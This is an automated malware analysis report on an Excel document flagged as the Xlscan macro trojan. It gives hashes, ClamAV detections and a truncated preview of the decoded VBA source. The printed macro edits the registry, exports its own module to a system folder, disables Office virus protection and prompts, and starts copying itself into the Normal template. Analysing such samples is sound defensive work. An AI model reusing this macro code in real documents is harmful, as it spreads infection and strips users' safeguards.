Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 77ab08c2fed24e28…

MALICIOUS

Office (OLE)

58.5 KB Created: 1999-01-09 04:30:05 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: c483eec004c162265fcdfa6ee1fad708 SHA-1: 213e6fb778c73dcae4d6b8c273a57963af5102b6 SHA-256: 77ab08c2fed24e288b21232a84b959316507840200653535071b3cd1bba44231
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an Excel document containing VBA macros, including AutoOpen and Auto_Open functions, which are commonly used to execute malicious code upon opening. Heuristics indicate the presence of macros and specific ClamAV detections (Xls.Trojan.Xlscan-3, Xls.Trojan.VCX-1) suggest a trojan downloader. The VBA script itself appears to be truncated, but the presence of API calls like GetPrivateProfileStringA and WritePrivateProfileStringA suggests potential interaction with configuration files or the registry, possibly to facilitate payload execution or persistence.

Heuristics 5

  • ClamAV: Xls.Trojan.Xlscan-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Xlscan-3
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17130 bytes
SHA-256: b8b80f91fe43cd174b001031ec5f43ddfeac61fcb2b82715b1369bd6700309a9
Detection
ClamAV: Xls.Trojan.VCX-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Xlscan"

Declare Function GetPrivateProfileStringA Lib "kernel32.dll" (ByVal lpSection As String, ByVal lpSetting As String, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Attribute GetPrivateProfileStringA.VB_ProcData.VB_Invoke_Func = " \n14"
Declare Function WritePrivateProfileStringA Lib "kernel32.dll" (ByVal lpSection As String, ByVal lpSetting As String, ByVal lpValue As String, ByVal lpFileName As String) As Long
Attribute WritePrivateProfileStringA.VB_ProcData.VB_Invoke_Func = " \n14"
Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Attribute RegOpenKeyExA.VB_ProcData.VB_Invoke_Func = " \n14"
Declare Function RegQueryValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long
Attribute RegQueryValueExA.VB_ProcData.VB_Invoke_Func = " \n14"
Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long
Attribute RegSetValueExA.VB_ProcData.VB_Invoke_Func = " \n14"
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Attribute RegCloseKey.VB_ProcData.VB_Invoke_Func = " \n14"
Global Const REG_DWORD As Long = 4
Global Const REG_SZ As Long = 1
Global Const HKEY_CURRENT_USER As Long = &H80000001
Global Const HKEY_LOCAL_MACHINE As Long = &H80000002
Dim k As Long
Dim s As Long
Dim u As Long
Dim a As Long
Dim b As String

Sub Auto_Close()
Attribute Auto_Close.VB_ProcData.VB_Invoke_Func = " \n14"
On Error GoTo push_data
b = String(7, 0)
s = 256
v$ = String$(s, 0)
Application.ScreenUpdating = False
Application.EnableCancelKey = wdCancelDisabled
Application.DisplayAlerts = wdAlertsNone
u = RegOpenKeyExA(HKEY_CURRENT_USER, "Software\Microsoft\Office\8.0\Excel\Microsoft Excel", 0, KEY_ALL_ACCESS, k)
u = RegSetValueExA(k, "Options6", 0, REG_DWORD, Chr$(0), 4)
u = RegCloseKey(k)
ShowVisualBasicEditor = False
Open "c:\Windows\System\Xlscan.386" For Input As 1
Close 1
GoTo god

push_data:
If Dir(Application.StartupPath + "\Xlscan.xls") = "Xlscan.xls" Then
  Windows("Xlscan.xls").Visible = True
  Application.VBE.ActiveVBProject.VBComponents("Xlscan").Export "c:\Windows\System\Xlscan.386"
  Windows("Xlscan.xls").Visible = False
Else
  Application.VBE.ActiveVBProject.VBComponents("Xlscan").Export "c:\Windows\System\Xlscan.386"
End If

god:
On Error GoTo god_1
If ActiveDocument = "" Then GoTo god_3
With Options
.VirusProtection = False
.ConfirmConversions = False
.SaveNormalPrompt = False
End With
ActiveDocument.ReadOnlyRecommended = False
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(i).Name = "Xlscan" Then r = 
... (truncated)

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